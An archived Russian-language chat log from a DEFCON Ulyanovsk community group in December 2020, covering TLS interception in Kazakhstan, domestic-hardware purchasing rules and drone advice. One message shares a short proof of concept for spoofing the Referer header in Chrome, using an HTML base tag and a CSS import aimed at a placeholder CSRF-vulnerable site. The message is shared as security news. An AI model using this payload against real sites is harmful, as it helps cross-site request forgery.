Size: a a a

DC20e6: DEFCON Ульяновск

2020 December 10

­

­ in DC20e6: DEFCON Ульяновск
да, на хттпс просто висит
источник

KB

Konstantin Bekreyev in DC20e6: DEFCON Ульяновск
­
блэт, EVO сломало DoH @bekreyev как теперь жить то?
ари на них
источник

­

­ in DC20e6: DEFCON Ульяновск
:(
источник

KB

Konstantin Bekreyev in DC20e6: DEFCON Ульяновск
Леонид Буринов
кое-где и на сайтах ссл перестал работать
казаха посередине устанавливают видимо
конечно устанавливают, штрафы видел если не устанавливать?
источник

ЛБ

Леонид Буринов... in DC20e6: DEFCON Ульяновск
(
источник

­

­ in DC20e6: DEFCON Ульяновск
а казаха то зачем вставлять
источник

ЛБ

Леонид Буринов... in DC20e6: DEFCON Ульяновск
интересно, а vpn, которые на ssl, тоже поломались?
источник

­

­ in DC20e6: DEFCON Ульяновск
ага, тоже
источник

­

­ in DC20e6: DEFCON Ульяновск
ну привыкайте к фашистам чо :\
источник

KB

Konstantin Bekreyev in DC20e6: DEFCON Ульяновск
источник

­

­ in DC20e6: DEFCON Ульяновск
ну ссл то зачем портить
источник

KB

Konstantin Bekreyev in DC20e6: DEFCON Ульяновск
­
ну ссл то зачем портить
как-будто у кого-то спрашивать будут
источник

KB

Konstantin Bekreyev in DC20e6: DEFCON Ульяновск
2020 потрясающий год. Помимо всего прочего, в Chrome можно подделать заголовок Referer, чего не было более десяти лет (раньше с помощью Flash можно было подменить этот заголовок).
PoC был выложен несколько дней назад и совершенно тривиальный:

<base href="https://www.google.com/">
<style>
   @import 'https://CSRF.vulnerable.example/';
</style>


Запрос к сайту уйдет с заголовком
Referer: https://www.google.com/

К счастью, половину интернета этим не заломаешь (SameSite cookie, вот это все), но имейте в виду.
источник

AK

Alex Kurzin in DC20e6: DEFCON Ульяновск
Это все мирское нам вот похоже втюхали постановление что при всех закупках техники и периферии надо 60% отечественного закупать
источник

AK

Alex Kurzin in DC20e6: DEFCON Ульяновск
все б ничего если б единственный отечественный принтер который нашел не стоил 52 тыс
источник

VK

Vladimir Kulikov in DC20e6: DEFCON Ульяновск
и работать они не будут....
источник

AK

Alex Kurzin in DC20e6: DEFCON Ульяновск
неее если совсем работать не будут то претензию можно выставить
источник

F

Fred in DC20e6: DEFCON Ульяновск
Alex Kurzin
все б ничего если б единственный отечественный принтер который нашел не стоил 52 тыс
😅во дела
источник

WS

Wire Snark in DC20e6: DEFCON Ульяновск
Ребят, кто в квадрокоптерах разбирается? Посоветуйте модель. И чтобы в России купить можно было, ну т.е. недолго доставили
источник

F

Fred in DC20e6: DEFCON Ульяновск
у знакомых djI tello boost combo есть он не дорогой летает около 10 минут
источник